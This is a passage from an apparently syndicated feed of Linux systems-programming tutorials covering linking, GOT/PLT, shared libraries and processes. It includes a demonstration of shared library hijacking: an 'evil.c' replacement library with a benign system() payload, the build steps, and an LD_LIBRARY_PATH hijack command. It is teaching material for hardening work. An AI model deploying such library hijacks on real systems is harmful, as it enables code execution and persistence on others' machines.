loader.</p><p>One of the linker’s most essential tasks is <em>symbol resolution</em>. Each object file may define some symbols and reference others. During linking, the linker builds a global view of all symbols across all input files and libraries. For every undefined symbol, it searches for a matching definition. If a definition is found, the reference is resolved; if not, the linker reports an error. This is why errors such as “undefined reference to foo” appear during linking rather than compilation, since the compiler has no global knowledge of where foo might be defined.</p><p>Once symbols are resolved, the linker assigns addresses and lays out the program&#39;s memory layout. This process involves deciding how sections from different object files are merged and ordered in the final binary. For example, all .text sections are typically combined into a single executable code segment, and all .data sections are grouped. The linker also enforces alignment requirements and ensures that the resulting layout adheres to platform and ABI constraints. These decisions impact both performance and correctness, as improper alignment or layout can result in inefficient execution or runtime errors.</p><p>Relocation is the mechanism that ties symbol resolution to actual machine instructions. When the compiler emits code that references a symbol whose address is not yet known, it inserts a placeholder and records a relocation entry. During linking, once the final address of the symbol is known, the linker applies the relocation by patching the instruction or data reference with the correct value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*tGHaHvVD8nLKlTEBw2XTvA.png" /></figure><p>Here, the final gcc invocation invokes the linker behind the scenes. It resolves the reference to add in main.o using the definition in math.o, merges sections, applies relocations, and produces the executable program. If math.o were omitted, the linker would fail, even though both source files compiled successfully.</p><p>The linker also handles libraries, which come in two primary forms: static libraries and shared libraries. Static libraries are archives of object files that the linker extracts from and copies into the final binary as needed. Shared libraries, in contrast, are not copied into the executable. Instead, the linker records a dependency on them and leaves certain symbols unresolved until runtime. This choice fundamentally changes how the program behaves at load time and is a key reason dynamic loaders exist.</p><p>Another often-overlooked responsibility of the linker is generating metadata for the loader. In ELF binaries, the linker produces program headers that describe how the binary should be mapped into memory. These headers define segments, permissions, and entry points, providing the loader with a precise blueprint for creating a process. Without this information, the operating system would have no way of knowing how to execute the binary.</p><h3>6. Shared Objects and Dynamic Linking</h3><p>Shared objects and dynamic linking exist to address the limitations of static linking, particularly in large systems where many programs rely on the same libraries. Instead of embedding library code into every executable, dynamic linking allows programs to reference shared libraries that are loaded at runtime. These shared libraries, typically with a .so extension on Linux, can be used by multiple processes simultaneously. This reduces disk usage, memory consumption, and maintenance overhead.</p><p>A shared object is an ELF file designed to be loaded into a process’s address space at runtime. Like executables, shared objects contain code, data, symbols, and relocation information. Unlike static libraries, they are not archives of object files but complete binaries in their own right. When a program is linked against a shared object, the linker does not copy the library’s code into the executable. Instead, it records a dependency and leaves certain symbol references unresolved until runtime.</p><p>To enable this model, shared objects are typically compiled as position-independent code (PIC). Position-independent code does not assume that it will be loaded at a fixed virtual address. Instead, it accesses code and data through relative addressing or indirection tables. This flexibility allows the same shared object to be mapped at different addresses in different processes without modification, which is essential for efficient memory sharing and for supporting address space layout randomization (ASLR).</p><p>Creating and using a shared library clearly illustrates this workflow. Consider a simple library:</p><pre>/* libmath.c */<br>int add(int a, int b) {<br>    return a + b;<br>}</pre><p>This code can be compiled into a shared object as follows:</p><pre>gcc -fPIC -shared libmath.c -o libmath.so</pre><p>The -fPIC flag instructs the compiler to generate position-independent code, while -shared tells the linker to produce a shared object. An executable can then be linked against this library:</p><pre>gcc main.c -L. -lmath -o main_dynamic</pre><p>Here, the linker records that main_dynamic depends on libmath.so, but it does not embed the library’s code into the executable. Instead, the executable contains metadata describing which shared objects it needs and which symbols must be resolved at runtime.</p><p>At runtime, the dynamic loader is responsible for locating and loading shared objects. The loader searches for libraries in a predefined order, which may include paths encoded in the binary, system-wide library directories, and environment variables such as LD_LIBRARY_PATH. Once a shared object is loaded, its segments are mapped into memory, and its exported symbols become available for resolution.</p><p>Dynamic linking introduces a level of indirection that does not exist in statically linked binaries. Function calls to shared library functions often go through tables such as the PLT and GOT. These mechanisms allow symbols to be resolved lazily, meaning that the actual address of a function may not be determined until it is first called. This reduces startup time and allows unused library code to remain unresolved.</p><h3>7. Dynamic Loader</h3><p>Once an executable has been linked, it still exists only as a passive file on disk. The moment it is executed, responsibility shifts from the linker to the operating system and, more specifically, to the dynamic loader. The dynamic loader is the component that turns an executable and its shared library dependencies into a running process by mapping code into memory, resolving runtime dependencies, and preparing the execution environment. On Linux systems, this role is typically performed by ld-linux.so (or a variant such as ld-linux-x86-64.so.2).</p><p>When a dynamically linked program is executed, the kernel does not jump directly to the program’s main function. Instead, it first loads a small runtime component known as the interpreter, which is specified in the executable’s ELF headers. You can see this interpreter using tools like readelf:</p><pre>readelf -l program | grep interpreter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*W0fACj9nXYfKI-LhtqPXjw.png" /></figure><p>This interpreter is the dynamic loader itself. The kernel maps the loader into memory and transfers control to it, passing along information about the executable, its arguments, and the environment.</p><p>After mapping the main executable, the loader processes its declared dependencies. Each shared object listed in the binary’s dynamic section is located and loaded in turn. The loader follows a well-defined search order, which may include paths encoded in the executable (RPATH or RUNPATH), environment variables like LD_LIBRARY_PATH, and standard system directories. This dependency resolution process continues recursively until all required shared objects are loaded.</p><p>Once all libraries are mapped, the loader performs relocations. Even though much of the address resolution was handled by the linker, dynamic linking requires certain relocations to be deferred until runtime. These relocations adjust pointers and references so that they reflect the actual memory addresses where code and data have been loaded. This step is particularly important for position-independent code and for symbols that are shared across multiple binaries.</p><p>Dynamic loaders also support advanced runtime features. One example is lazy binding, where symbol resolution is deferred until a symbol is actually used. Instead of resolving every external function at startup, the loader can resolve them on demand when the function is first called. This reduces startup time and avoids unnecessary work, especially in large applications that use many libraries but only a subset of their functionality.</p><h3>8. GOT and PLT: Indirection in Practice</h3><p>When dynamic linking is introduced, one immediate problem arises: how can code call functions or access variables whose final addresses are not known at link time and may not even be resolved at program startup? The solution used by ELF-based systems is indirection. Two closely related structures, the GOT and the PLT, collaborate to facilitate dynamic symbol resolution while maintaining generated code efficiency and reusability.</p><p>The Global Offset Table is a table of addresses located in a writable data section of the binary. Each entry in the GOT corresponds to a symbol, typically a function or global variable, that may be defined in a shared library. Instead of hardcoding the address of such a symbol, the program loads the address from the GOT at runtime. Because the GOT resides in memory and can be modified, the dynamic loader can update its entries once the actual addresses of symbols are known.</p><p>The Procedure Linkage Table builds on this idea specifically for function calls. The PLT contains a sequence of small code stubs, one per imported function. Rather than calling a shared library function directly, the program calls the corresponding PLT entry. The PLT entry, in turn, consults the GOT to determine where control should be transferred. This extra level of indirection allows function addresses to be resolved lazily, meaning they are not resolved until the function is called for the first time.</p><p>To make this concrete, consider a program that calls the standard library function puts. In the source code, the call looks ordinary:</p><pre>#include &lt;stdio.h&gt;<br><br>int main(void) {<br>    puts(&quot;Hello&quot;);<br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*Jdu6xJnGYLYyDyz5a0uZDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*Bjs4EZdyEqFET_RgFF2jQQ.png" /></figure><p>At the assembly level, however, the call does not jump directly to puts. Instead, it calls a PLT entry, often named something like puts@plt. This PLT stub performs an indirect jump through a GOT entry. Initially, that GOT entry does not contain the address of puts in libc. Instead, it points back into the dynamic loader.</p><p>On the first invocation of puts, control flows through the PLT into the dynamic loader, which resolves the symbol by locating the actual puts implementation in the loaded shared library. The loader then patches the corresponding GOT entry with the real function address. Subsequent calls to puts go through the same PLT entry, but this time the GOT entry points directly to the resolved function, bypassing the loader entirely. This mechanism is known as lazy binding.</p><p>Lazy binding provides a performance benefit by deferring work until it is needed. Programs that import many symbols but use only a few of them avoid the cost of resolving unused functions at startup. However, this design also has security implications. Because GOT entries are writable at runtime, they can become targets for exploitation. Attacks such as GOT overwrites redirect execution flow by modifying GOT entries to point to attacker-controlled code.</p><p>From a reverse engineering perspective, GOT and PLT entries are extremely informative. The presence of a PLT entry indicates that a function is imported dynamically, and its name often survives even in stripped binaries because it is required for dynamic linking. Tools like objdump or readelf can be used to inspect these tables and understand how external functions are invoked.</p><p>For example, listing PLT entries can be done with:</p><pre>objdump -d program | grep plt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*f1W3I2C7_EzclarqfYdDgg.png" /></figure><h3>9. Runtime Symbol Resolution</h3><p>Runtime symbol resolution is the process by which symbols that were left unresolved at link time are finally bound to concrete memory addresses while the program is running. This mechanism is a direct consequence of dynamic linking. It is closely tied to the behavior of the dynamic loader, as well as indirection structures such as the GOT and PLT. Unlike static resolution, which produces a fully fixed binary, runtime resolution allows programs to remain flexible and adaptable to their execution environment.</p><p>When a dynamically linked executable is loaded, not all external symbols are resolved immediately. Instead, the linker and loader cooperate to mark certain symbols for runtime resolution. These symbols typically correspond to functions or variables defined in shared libraries. The dynamic loader has access to the symbol tables of all loaded shared objects and uses this information to resolve references as needed. This resolution can happen either eagerly, at program startup, or lazily, when the symbol is first used.</p><p>Lazy binding is the default behavior on most Linux systems. With lazy binding enabled, the first call to an external function triggers the resolution process. As described earlier, the initial GOT entry for that function points to a resolver stub in the dynamic loader. When the function is called for the first time, control is transferred to the loader, which looks up the symbol name in the symbol tables of the loaded shared libraries. Once the correct definition is found, the loader patches the GOT entry with the resolved address and transfers control to the function. All subsequent calls bypass the loader and jump directly to the resolved address.</p><p>With eager binding, on the other hand, the dynamic loader resolves all required symbols before the program begins execution. This increases startup time but ensures that missing symbols are detected early and eliminates the runtime overhead of lazy resolution. From a security perspective, eager binding also reduces the window during which certain attacks, such as GOT overwrites before first use, can be performed.</p><h3>10. Relocations at Runtime</h3><p>Relocations are the mechanism that enables code and data to function correctly even when their final memory addresses are not known in advance. While many relocations are resolved by the linker at link time, dynamically linked programs necessarily defer some relocations until runtime. These runtime relocations are a direct consequence of position-independent code, shared objects, and address space layout randomization (ASLR), and they play a crucial role in modern executable loading.</p><p>At compile time, the compiler cannot assume that code or data will end up at a fixed virtual address. As a result, it emits instructions and data references that rely on symbolic placeholders rather than concrete addresses. Each such placeholder is accompanied by a relocation entry that describes what needs to be fixed up later. The linker resolves as many of these relocations as possible once it knows the layout of the executable and its sections. However, any reference to a symbol defined in a shared object must often be relocated at runtime, because the shared object itself will not be loaded until the program starts.</p><p>The dynamic loader processes runtime relocations after shared libraries have been mapped into memory. At this point, the loader knows the actual base addresses of all loaded objects and can compute the correct values for relocations. These relocations typically adjust entries in the Global Offset Table, function pointers, and references to global variables. Without this step, code would continue to reference invalid or placeholder addresses, leading to crashes or undefined behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*FtfDWVzyDPcS5Wx_pw6r2w.png" /></figure><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc7fb23e5215" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Shared Libraries in Linux]]></title>
            <link>https://can-ozkan.medium.com/understanding-shared-libraries-in-linux-77d302ba45ec?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/77d302ba45ec</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 13:10:33 GMT</pubDate>
            <atom:updated>2026-01-06T13:10:33.395Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Software development relies heavily on modularity, reusability, and maintainability, and libraries play a crucial role in making these aspects possible. A library is a collection of precompiled functions or routines that can be used by multiple programs. Instead of rewriting commonly used logic such as file I/O, mathematical computations, or string manipulation, developers import these routines from libraries, reducing code duplication and improving productivity.</p><p>There are two primary types of libraries in Linux: <strong>static libraries</strong> and <strong>shared (dynamic) libraries</strong>. Static libraries, usually ending in .a, are bundled directly into a program’s executable during linking. This approach makes distribution simple because the final binary contains everything it needs to run. However, it also increases the binary size and makes updates more difficult. If a vulnerability is found in a static library, every affected binary must be rebuilt and redistributed.</p><p>Shared libraries solve these problems by separating the library code from the program that uses it. Instead of embedding library routines into the final executable, the program references them at runtime. Shared libraries typically have the .so (shared object) extension and are stored on the system in standard locations such as /lib and /usr/lib. When a dynamically linked program starts, the Linux dynamic loader maps the required shared libraries into memory, resolves symbols, and prepares the application for execution. This makes shared libraries flexible and memory-efficient. This enables multiple running programs to use the same copy of library code.</p><h3>2. Creating Shared Libraries</h3><p>Shared libraries enable you to group common functionality into reusable components, keeping binaries small and memory-efficient. This section walks through the entire process, from writing source code to compiling with -fPIC, to generating the .so file.</p><h3>2.1 Writing a Simple Library</h3><p>The first step in creating a shared library is writing the code you want to package. Shared libraries typically include utility functions, modular components, or reusable logic. The key difference from writing a regular program is that libraries <em>expose functions to other programs</em>, rather than having their own main() entry point.</p><p>Below is a small example library containing two simple functions: one to add two integers, and one to multiply them.</p><pre>// mathlib.c<br>int add(int a, int b) {<br>    return a + b;<br>}<br><br>int multiply(int a, int b) {<br>    return a * b;<br>}</pre><h3><strong>2.2 Building the </strong><strong>.so File</strong></h3><p>PIC allows the resulting machine code to be placed at <strong>any</strong> memory address without modification, which is crucial because shared libraries are intended to be loaded into different processes at potentially different locations.</p><pre>gcc -fPIC -c mathlib.c -o mathlib.o<br>gcc -shared -o libmath.so mathlib.o</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*bQb3jZNek7anK1sL-5la8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*ifivWw4Id0r4WzkK_I6a3w.png" /></figure><p>The T indicates that these symbols are exported in the library’s text (code) section.</p><h3>2.3 Creating a Header File (Optional but Recommended)</h3><p>When other programs use your library, they must know the function declarations. Header files provide that interface.</p><pre>// mathlib.h<br>#ifndef MATHLIB_H<br>#define MATHLIB_H<br><br>int add(int a, int b);<br>int multiply(int a, int b);<br><br>#endif</pre><p>This makes it easier for other developers or applications to use the library safely and correctly.</p><h3>2.4 Using the Shared Library in an Application</h3><p>Below is a small program that uses libmath.so.</p><pre>// main.c<br>#include &lt;stdio.h&gt;<br>#include &quot;mathlib.h&quot;<br><br>int main() {<br>    printf(&quot;2 + 3 = %d\n&quot;, add(2, 3));<br>    printf(&quot;4 * 5 = %d\n&quot;, multiply(4, 5));<br>    return 0;<br>}</pre><pre>gcc main.c -L . -lmath -o app</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*fpKFtrY8Ayi9yvhQSYWBkg.png" /></figure><p>This happens because, at runtime, the dynamic loader doesn’t know where to find libmath.so.</p><p>There are multiple ways to fix this, but the simplest one during development is using LD_LIBRARY_PATH:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*ZvKO3MbhShXxxH5Y_uepiA.png" /></figure><h3>2.5 Installing and Registering the Shared Library (Optional)</h3><p>To make the library globally available across the system, developers typically:</p><ol><li>Copy the library to /usr/lib or /usr/local/lib</li><li>Run ldconfig to refresh the system’s library cache</li></ol><p>Example:</p><pre>sudo cp libmath.so /usr/local/lib/<br>sudo ldconfig</pre><h3>3. Using Shared Libraries in Applications</h3><p>Once a shared library has been created, the next step is to use it in real applications. This involves two separate stages: <strong>linking at compile time</strong> and <strong>loading at runtime</strong>. Compile-time linking ensures that the application knows which library to use and which functions to expect. Runtime loading, on the other hand, determines how and where the shared library is located on the file system when the program starts.</p><h3>3.1 Compile-Time Linking</h3><p>Compile-time linking occurs when the compiler and linker combine your application’s object files with references to the shared libraries you need. Dynamic linking only embeds <strong>symbol references</strong> and the <strong>SONAME</strong> of the library.</p><h3>3.2 Run-Time Linking</h3><p>Compile-time linking ensures your program knows <em>what</em> to load. Runtime linking determines <em>where</em> to load it from. The Linux dynamic linker (ld-linux.so) handles this process when the program starts.</p><p>The dynamic loader searches for shared libraries in the following order:</p><ol><li>Paths specified in <strong>LD_LIBRARY_PATH</strong></li><li>Paths found in the executable’s <strong>RPATH/RUNPATH</strong> (if present)</li><li>Directories listed in <strong>/etc/ld.so.conf</strong></li><li>Standard system directories:</li></ol><ul><li>/lib</li><li>/usr/lib</li><li>/lib64 (on 64-bit systems)</li></ul><p>5. Cached paths in <strong>/etc/ld.so.cache</strong></p><p>Understanding this order is essential, especially when debugging issues on development systems or during security assessments.</p><h3>Using LD_LIBRARY_PATH</h3><p>During development, the simplest way to run your application with a custom library is:</p><pre>export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH<br>./app</pre><p>This temporarily instructs the dynamic loader to check the current directory first.</p><p>While convenient, this method should <strong>not</strong> be used in production because it can lead to security vulnerabilities (e.g., malicious library injection).</p><h3>Permanent Library Installation</h3><p>A safer, system-wide approach involves copying the library to /usr/local/lib or /usr/lib, then updating the loader cache:</p><pre>sudo cp libmath.so /usr/local/lib/<br>sudo ldconfig</pre><p>The loader’s cache is stored in /etc/ld.so.cache, which maps SONAMEs to full paths. You can inspect it:</p><pre>ldconfig -p | grep math</pre><p>This ensures that all applications on the system can locate the library without relying on environment variables.</p><h3>Using RPATH and RUNPATH</h3><p>Sometimes you need an application to locate libraries in custom directories without modifying the environment or installing system-wide libraries.</p><p>You can embed a search path into the executable:</p><pre>gcc main.c -Lcustomdir -lmath -Wl,-rpath,&#39;$ORIGIN/customdir&#39; -o app</pre><p>Where:</p><ul><li>$ORIGIN refers to the directory containing the executable.</li><li>-rpath embeds this search path in the ELF header.</li></ul><p>You can inspect it with:</p><pre>readelf -d app | grep RPATH</pre><p><strong>Note:</strong><br> RUNPATH is the modern alternative. It is honored <em>after</em> LD_LIBRARY_PATH and is usually preferred.</p><h3>4. Shared Library Hijacking Attack</h3><p>Shared library hijacking is a powerful technique in both penetration testing and malware development, where an attacker forces a target application to load a <strong>malicious shared library</strong> instead of the legitimate one it expects. This attack leverages weaknesses in the library search path, insecure RPATH/RUNPATH configurations, or unsafe use of environment variables like LD_LIBRARY_PATH.</p><p>In this section, we provide a practical demonstration of how a shared library can be exploited to execute arbitrary code when a victim application is launched. The goal is to demonstrate how easily misconfigured binaries can be exploited, and why proper hardening is essential in production environments.</p><h3>4.1 Understanding the Attack Surface</h3><p>When a Linux binary loads a shared library, the dynamic loader searches for it in a fixed order:</p><ol><li><strong>RPATH</strong> (if present and not overridden)</li><li><strong>LD_LIBRARY_PATH</strong> (if set)</li><li><strong>RUNPATH</strong> (if present)</li><li>Directories in /etc/ld.so.conf</li><li>Default system library paths (/lib, /usr/lib, /lib64)</li></ol><p>If an attacker can influence:</p><ul><li>the working directory,</li><li>the environment variables,</li><li>the application’s RPATH/RUNPATH,</li><li>or place files in a folder that the binary uses,</li></ul><p>Then the attacker may create a fake .so file with the same name as a real dependency and trick the loader into executing malicious code.</p><h3>4.2 Setting Up a Vulnerable Application</h3><p>Consider this intentionally vulnerable application victim.c, which links against a shared library libvuln.so:</p><pre>#include &lt;stdio.h&gt;<br><br>extern void vulnerable_function();<br><br>int main() {<br>    printf(&quot;Calling vulnerable_function()...\n&quot;);<br>    vulnerable_function();<br>    return 0;<br>}</pre><p>The legitimate library might look like:</p><h3>legit.c</h3><pre>#include &lt;stdio.h&gt;<br><br>void vulnerable_function() {<br>    printf(&quot;This is the legitimate version of the library.\n&quot;);<br>}</pre><p>Build the legitimate library:</p><pre>gcc -fPIC -c legit.c -o legit.o<br>gcc -shared -o libvuln.so legit.o</pre><p>Compile the application:</p><pre>gcc victim.c -L . -l vuln -Wl,-rpath,&#39;$ORIGIN&#39; -o victim</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*uwsmGunWRxKi-PFWUvLklg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*jsFust0QCjhIx5ZFpDXhgw.png" /></figure><h3>4.3 Creating a Malicious Replacement Library</h3><p>An attacker creates a malicious version of libvuln.so:</p><h3>evil.c</h3><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>void vulnerable_function() {<br>    printf(&quot;[!] Malicious library loaded!\n&quot;);<br>    printf(&quot;[!] Executing payload...\n&quot;);<br>    system(&quot;echo Hacked! &gt; /tmp/pwned.txt&quot;);<br>}</pre><p>Build the malicious library:</p><pre>gcc -fPIC -c evil.c -o evil.o<br>gcc -shared -o libvuln.so evil.o</pre><p>This library has the same name (libvuln.so) as the legitimate one.</p><h3>4.4 Performing the Hijack</h3><p>We do <em>not</em> place the malicious library in a system directory. Instead, we mimic a common real-world mistake:</p><h3>Scenario: Application Loads Libraries from Current Directory</h3><p>If the victim binary was started from a directory where the attacker placed their malicious .so file, the loader may pick it up <strong>before</strong> the legitimate version.</p><p>Example:</p><pre>mkdir /tmp/hijack<br>cd /tmp/hijack<br>cp /path/to/evil/libvuln.so .<br>cp /path/to/victim .</pre><p>Run the program:</p><pre>./victim</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*f26Yfm9ouPQvo3iPImC-OQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*eMC-wsE1c0AvwQy-jJPodQ.png" /></figure><p>The hijack succeeded.</p><h3>4.5 Exploit Variation: Using LD_LIBRARY_PATH</h3><p>If the victim binary does <strong>not</strong> hardcode RUNPATH, or if it incorrectly relies on dynamic search paths, an attacker can hijack via:</p><pre>LD_LIBRARY_PATH=/tmp/hijack ./victim</pre><p>This is a realistic attack in:</p><ul><li>misconfigured web services</li><li>cron jobs</li><li>systemd services</li><li>dev/test scripts</li></ul><p>Because environment variables can be leaked or manipulated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*h1AOLtlY7ltDuM9FEDAe6Q.png" /></figure><h3>4.6 Why Library Hijacking Is Dangerous</h3><p>Shared library hijacking is extremely powerful because it:</p><ul><li>requires no binary patching</li><li>bypasses code signing (Linux does not enforce it by default)</li><li>works even on SUID binaries in some misconfigurations</li><li>executes arbitrary code before <strong>main()</strong></li><li>can quietly replace legitimate behaviors</li><li>is commonly abused by malware, rootkits, and threat actors</li></ul><p>Attackers frequently use this technique to:</p><ul><li>install persistence</li><li>hide processes</li><li>capture credentials</li><li>intercept network traffic</li><li>modify application behavior invisibly</li></ul><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77d302ba45ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Deep Dive into Processes in Operating Systems]]></title>
            <link>https://can-ozkan.medium.com/a-deep-dive-into-processes-in-operating-systems-fec4e9f06a6d?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/fec4e9f06a6d</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Sun, 30 Nov 2025 18:24:19 GMT</pubDate>
            <atom:updated>2025-11-30T18:24:19.225Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Processes are one of the most fundamental abstractions in operating systems. It is fundamental to how modern systems execute code, manage hardware resources, and provide isolation between different programs. When you type a command like python3 script.py or launch a browser, the operating system doesn’t just run “a program”. It creates a process, which is a living, managed entity with its own state, memory, and execution context.<br>A good way to think about a process is as a “program that is running.” A program on disk is static, namely, it’s just bytes stored somewhere. The moment you tell the OS to run that program, the kernel constructs a whole environment around it: an address space, file descriptors, a privilege context, a set of registers, and a scheduling slot on the CPU. All of these pieces form what the OS refers to as a process.<br>Processes also provide a boundary of responsibility. They protect programs from one another through memory isolation, ensuring that one process cannot access another’s memory (at least, not without something like ptrace, and only with the necessary permissions). This isolation is fundamental for stability and security: if your text editor crashes, it shouldn’t bring down your entire system. The OS enforces this by giving each process its own virtual memory and controlling when and how processes can communicate.<br>Processes exist because hardware is a machine that can handle only one thing at a time at the instruction level. The operating system’s job is to make that limitation disappear. By wrapping each running program in a process, the OS provides the illusion that multiple tasks occur simultaneously. Each process has a clean, isolated view of memory; it sees a CPU that appears dedicated to it; it interacts with files or network sockets without worrying about how others do the same. This illusion is powerful enough to support everything from browsers to compilers to malware sandboxes.<br>To illustrate what “creating a process” looks like under the hood, here’s a minimal C example using the classic Unix model:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br><br>int main() {<br>    pid_t pid = fork();<br><br>    if (pid == 0) {<br>        // Child process<br>        printf(&quot;Child: PID=%d, Parent PID=%d\n&quot;, getpid(), getppid());<br>    } else if (pid &gt; 0) {<br>        // Parent process<br>        printf(&quot;Parent: PID=%d, Child PID=%d\n&quot;, getpid(), pid);<br>    } else {<br>        // fork() failed<br>        perror(&quot;fork&quot;);<br>    }<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*FG6rZX-3qtb1OZWIfvMQxA.png" /></figure><p>The moment the user compiles and runs it, the operating system constructs a new process, allocating memory regions, creating a Process Control Block (a metadata structure), loading instructions, setting up file handles, and handing the CPU a starting instruction pointer. The program becomes an actor on the stage.</p><p>This snippet shows three essential facts about processes:</p><ol><li><strong>They can create other processes.</strong><br> Using system calls like fork(), one process can spawn another, forming a parent–child relationship.</li><li><strong>Each process has an identity.</strong><br> The OS assigns a <strong>process ID (PID)</strong>, which uniquely identifies each running process.</li><li><strong>A newly created process starts as a near-clone of the parent.</strong><br> The child inherits memory mappings, file descriptors, and other context, though modern kernels optimize this heavily using techniques like copy-on-write.</li></ol><h3>2. Program vs. Process vs. Thread</h3><p>Understanding the distinction between a <strong>program</strong>, a <strong>process</strong>, and a <strong>thread</strong> is fundamental to grasping how modern operating systems manage execution. Although these terms are often used interchangeably in casual conversation, they represent distinct concepts with different responsibilities. The operating system treats each of these entities differently, and conflating them usually leads to misunderstandings in debugging, systems programming, and performance tuning.</p><h3>2.1 What Is a Program?</h3><p>A <strong>program</strong> is a <strong>passive collection of instructions</strong> stored on disk. It is simply a file, often an executable or a script, that contains code and static data. A program does not “run” by itself; it does not have a state, does not consume CPU cycles, and does not hold resources like memory or open file descriptors. It is inactive until the operating system transforms it into a process.</p><p>For example, on a Unix-like system, the file /usr/bin/python3 is just a program. It contains machine code (or bytecode interpreter logic), but it has no execution context until the kernel loads it into memory.</p><p>You can verify that a program is just a file using the file command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*Am7vHFfkb4-0gnkPlbz2Eg.png" /></figure><h3>2.2 What Is a Process?</h3><p>A <strong>process</strong> is a <strong>program that is currently executing</strong>. As soon as the OS loads a program into memory and begins executing it, it becomes a process with its own <strong>memory layout</strong>, <strong>CPU context</strong>, <strong>process control block (PCB)</strong>, <strong>file descriptors</strong>, and <strong>resources</strong> allocated by the kernel. Each instance of a program running produces its own process, even if it originates from the same executable file.</p><p>Although both processes use the same program file, their states (i.e., memory contents and register values) differ.</p><p>Processes provide <strong>isolation</strong>. Memory belonging to one process is protected from other processes through mechanisms such as virtual memory and page tables. This isolation forms the foundation of modern OS security.</p><h3>2.3 What Is a Thread?</h3><p>A <strong>thread</strong> is the smallest unit of execution within a process. Threads share the process’s address space, file descriptors, and global variables, but each thread has its own <strong>stack</strong>, <strong>program counter</strong>, and <strong>register state</strong>. This makes threads lightweight compared to processes, which require complete duplication of the address space.</p><p>Threads exist to enable <strong>parallelism</strong> and <strong>concurrency</strong> inside a single process. For instance, in a web server process, one thread may handle incoming connections, while another writes logs, and others manage I/O operations.</p><p>In C using POSIX threads (pthreads), creating a thread looks like this:</p><pre>#include &lt;pthread.h&gt;<br>#include &lt;stdio.h&gt;<br><br>void* worker(void* arg) {<br>    printf(&quot;Thread running with value: %d\n&quot;, *(int*)arg);<br>    return NULL;<br>}<br><br>int main() {<br>    pthread_t t;<br>    int value = 42;<br><br>    pthread_create(&amp;t, NULL, worker, &amp;value);<br>    pthread_join(t, NULL);<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BwwE95bW_I5ZD8Zf0wVJdQ.png" /></figure><p>Here, both the main thread and the worker thread share global variables and heap memory, but each has its own execution stack.</p><h3>2.4 Relationship Between Program, Process, and Threads</h3><p>To contextualize the relationship:</p><ul><li>A <strong>program</strong> is just the blueprint.</li><li>A <strong>process</strong> is a running instance of the blueprint.</li><li>A <strong>thread</strong> is an execution path inside a process.</li></ul><p>You can visualize this hierarchy:</p><pre>Program (on disk)<br>      |<br>      v<br>Process (instance in memory)<br>      |<br>      +-- Thread 1 (execution path)<br>      +-- Thread 2<br>      +-- Thread 3</pre><p>Multiple processes may run the same program. Multiple threads may run inside the same process. Each has its own use cases, namely, processes for isolation and safety, and threads for speed and concurrency.</p><h3>3. Anatomy of a Process</h3><p>A process is a rich abstraction that encapsulates everything needed for a program to execute safely, efficiently, and independently. When the operating system transforms a program into a running process, it creates and manages a collection of resources, including memory regions, CPU state, file descriptors, security attributes, pending signals, and kernel-managed bookkeeping structures.</p><h3>3.1 Process Components</h3><p>When a program becomes a process, the OS sets up multiple memory segments and a full execution context. These components form the <em>process image</em>, which is conceptually similar across UNIX-like and Windows systems.</p><h3>Text (Code) Segment</h3><p>The <strong>text segment</strong> holds the compiled machine instructions of the program. This region is typically <strong>read-only</strong> to prevent accidental or malicious modification. The OS may map the same text segment into multiple processes for efficiency (e.g., /usr/bin/bash shared among many users).</p><h3>Data and BSS Segments</h3><p>The <strong>data segment</strong> stores initialized global and static variables. In contrast, the <strong>BSS segment</strong> contains global/static variables that are uninitialized or zero-initialized. Both regions are writable, and each process receives its own private copy.</p><p>For example:</p><pre>int initialized = 42;   // data segment<br>int uninitialized;      // BSS segment</pre><h3>Heap</h3><p>The <strong>heap</strong> is a dynamically growing region used for runtime memory allocation (e.g., malloc, new). The process interacts with the heap via library calls, but behind the scenes, the OS provides more memory pages using system calls such as brk() or mmap().</p><p>Heap corruption is a major vulnerability class in binary exploitation.</p><h3>Stack</h3><p>Each process, and each thread inside it, has its own <strong>stack</strong>, used for function calls, return addresses, local variables, and register saving. Since stacks expand and shrink dynamically, they are typically protected with guard pages to catch overflow.</p><p>Example function with stack variables:</p><pre>void foo() {<br>    int x = 10;     // stored on the stack<br>    char buf[32];  // also on the 